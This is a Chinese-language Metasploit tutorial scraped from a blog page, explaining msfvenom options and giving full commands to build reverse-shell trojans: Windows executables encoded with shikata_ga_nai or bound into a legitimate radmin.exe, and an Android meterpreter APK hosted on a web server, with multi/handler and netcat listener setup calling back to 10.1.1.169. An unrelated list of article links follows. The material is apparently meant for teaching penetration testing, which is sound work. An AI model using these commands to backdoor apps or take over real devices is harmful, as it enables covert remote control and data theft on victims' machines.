6.Metasploit生成apk攻击Android实例
Metasploit进阶第四讲 生成Android apk文件
01 msfvenom基本参数
msfvenom介绍
承接上回,staged/unstage payload如何利用?
msfvenom是msfpayload及msfencode的结合体,可利用msfvenom将payload封装为木马程序,并在目标机上执行,在本地监听上线。
msfvenom基本参数
msfvenom -h
-p ->指定payload
-1 ->列出所有可用项
-f ->指定文件输出格式
-e ->指定编码格式
-a ->选择架构平台
-o ->选择文件输出路径,包含文件名
-s ->指定生成的payload最大大小
-b ->避免使用的字符
-I ->指定编码次数
-c ->添加自己的shellcode
-xxxx.exc -k ->捆绑文件到xxx.cxc
以下使用msfvenom分别是什么意思?
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.169 LPORT=4545
-e x86/shikata_ga_nai –I 3 –f exe -o abc.exe
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.169 LPORT=4545
-b ‘\×00xff' –I 3 –f exe -o abc.exe
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.169 LPORT=4545
-e x86/shikata_ga_nai –k –x /usr/share/windows-binaries/radmin.exe –f exe -o radmin.exe
msfvenom生成apk文件
staged payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.1.1.169 LPORT=4545
R>/var/www/html/Lliang.apk
metasploit:
use exploit/multi/handler 加载模块
set payload android/meterpreter/reverse_tcp 选择Payload
set LHOST10.1.1.169这里的地址设置成我
们刚配置木马的IP地址
set LPORT4545这里的端口设置成刚才我们
配置木马所监听的端口
unstage payload:
msfvenom –p windows/shell_reverse_tcp LHOST=10.1.1.169 LPORT=4545
-f exe –o /var/www/html/shell-stageless.exe
metasploit:
use exploit/multi/handler加载模块
set payload windows/shell_reverse_tcp 选择Payload
unstage payload:
msfvenom -p windows/shell reverse_tcp LHOST=10.1.1.169 LPORT=4545 -f exe -o /var/www/html/shell-stageless.exe
netcat:在两台电脑之润建立链接并返回两个数据流
nc -lyp 4545 -监听4545端口
-v/-vw 显示指令执行过程
-l 使用监听模式,管控传入的资料
-p 设置本地主机使用的通信端口
staged payload不适用于netcat,必须使用Metasploit的exploit/multi/handler模块。要从主机上的metasploit handler上下载完整的payload
6.Metasploit生成apk攻击Android实例的更多相关文章
- Kali之Metasploit生成apk后门控制安卓
扫盲教程,大佬勿喷. 实验中请更改为你环境的IP. 生成apk后门 Kali Linux(Hack):192.168.169.76 Android(靶机):192.168.169.137 启动kali ...
- MyEclipse 生成APK文件
MyEclipse 生成APK文件 Android Tools>Export Signed Application Packages. http://jingyan.baidu.com/ar ...
- eclipse将android项目生成apk并且给apk签名
转载:http://www.cnblogs.com/tianguook/archive/2012/09/27/2705724.html 生成apk最懒惰的方法是:只要你运行过android项目,到工作 ...
- Android 手机卫士--打包生成apk维护到服务器
项目打包生成apk过程: 1.生成签名文件,并且指定所在位置 2.使用生成的签名文件,给工程打包生成一个apk 本文地址:http://www.cnblogs.com/wuyudong/p/59033 ...
- eclipse下Android无法自动生成apk文件怎么办?
eclipse下Android无法自动生成apk文件怎么办? 现象:创建android工程后,通过手动build/clean或自动build均无法在bin文件夹下生成.apk文件 解决方法:进入win ...
- linux(以ubuntu为例)下Android利用ant自动编译、修改配置文件、批量多渠道,打包生成apk文件
原创,转载请注明:http://www.cnblogs.com/ycxyyzw/p/4555328.html 之前写过一篇<windows下Android利用ant自动编译.修改配置文件.批量 ...
- windows下Android利用ant自动编译、修改配置文件、批量多渠道,打包生成apk文件
原创文章,转载请注明:http://www.cnblogs.com/ycxyyzw/p/4535459.html android 程序打包成apk,如果在是命令行方式,一般都要经过如下步骤: 1.用a ...
- Android实例-实现扫描二维码并生成二维码(XE8+小米5)
相关资料: 第三方资料太大没法写在博文上,请下载CSDN的程序包. 程序包下载: http://download.csdn.net/detail/zhujianqiangqq/9657186 注意事项 ...
- Android 命令行编译、打包生成apk文件
一.搭建搭建环境 1. 安装JDK 和 Android SDK 2. 配置环境变量 D:\android-sdk-windows\tools C:\Program Files\Java\jdk1. ...
随机推荐
- 2020年,大厂常问iOS面试题汇总!
Runloop & KVO runloop app如何接收到触摸事件的 为什么只有主线程的runloop是开启的 为什么只在主线程刷新UI PerformSelector和runloop的关系 ...
- 使用JS检测自定义协议是否存在
[该博客是拼接他人的,原因我们这边PC的开发人员问我,有没有关于js某个对象直接能检测手机或者电脑的自定义协议的,我上网搜了下,貌似移动端的解决比较多] 最终解决方案:还是需要github上面大神写的 ...
- 基于GIS空间分析的多边形提取技术
现有基于矢量图形的骨架线提取方法主要包括数据预处理.基于约束 Delauny 三角剖分的骨架线结点生成和骨架线的连接 3 个过程,上述过程都可利用现有 GIS 系统的数据处理.空间分析和建模功能实现. ...
- DEV GridControl控件使用(CheckBox全选、操作按钮、事件处理,获取值)
1.GridControl控件使用 (1)绑定数据源 //绑定DataTable gridControl1.DataSource = DbHelper.ExecuteDataTable("S ...
- Linux监控系统相关资源和运行状态命令整理
#前言:Linux系统自带了些实时查看监控系统运行状态的相关命令,接下来我们就来了解一下. #首先我们先来了解一下什么是进程 #进程:是Linux用来表示正在运行的程序的一种抽象概念,Linux系统上 ...
- R语言实战(三) 图形初阶
3.1 使用图形 plot:基础绘图 abline:添加回归直线 hist:绘制直方图 boxplot:绘制箱线图 dev.new():returns the return value of the ...
- aireplay包注入攻击
reaver爆破WPS PIN码: airodump-ng wlan0 reaver -i wlan0 -b D0:76:E7:51:2A:78 -vv macchanger更改MAC地址: ma ...
- 通过CGAL将一个多边形剖分成Delaunay三角网
目录 1. 概述 2. 实现 3. 结果 4. 参考 1. 概述 对于平面上的点集,通过Delaunay三角剖分算法能够构建一个具有空圆特性和最大化最小角特性的三角网.空圆特性其实就是对于两个共边的三 ...
- js Vquery
// JavaScript Document function myAddEvent(obj,sEv,fn){ alert('fn:'+fn); if(obj.attachEvent){ obj.at ...
- beforeEach 之 next
在这里我用通俗点的说法解释上next(),next(false),next('/'),next(error),希望通过这接地气的解释你能掌握这几个知识点.背景:你乘坐汽车从A景区想赶往B景区(模拟路由 ...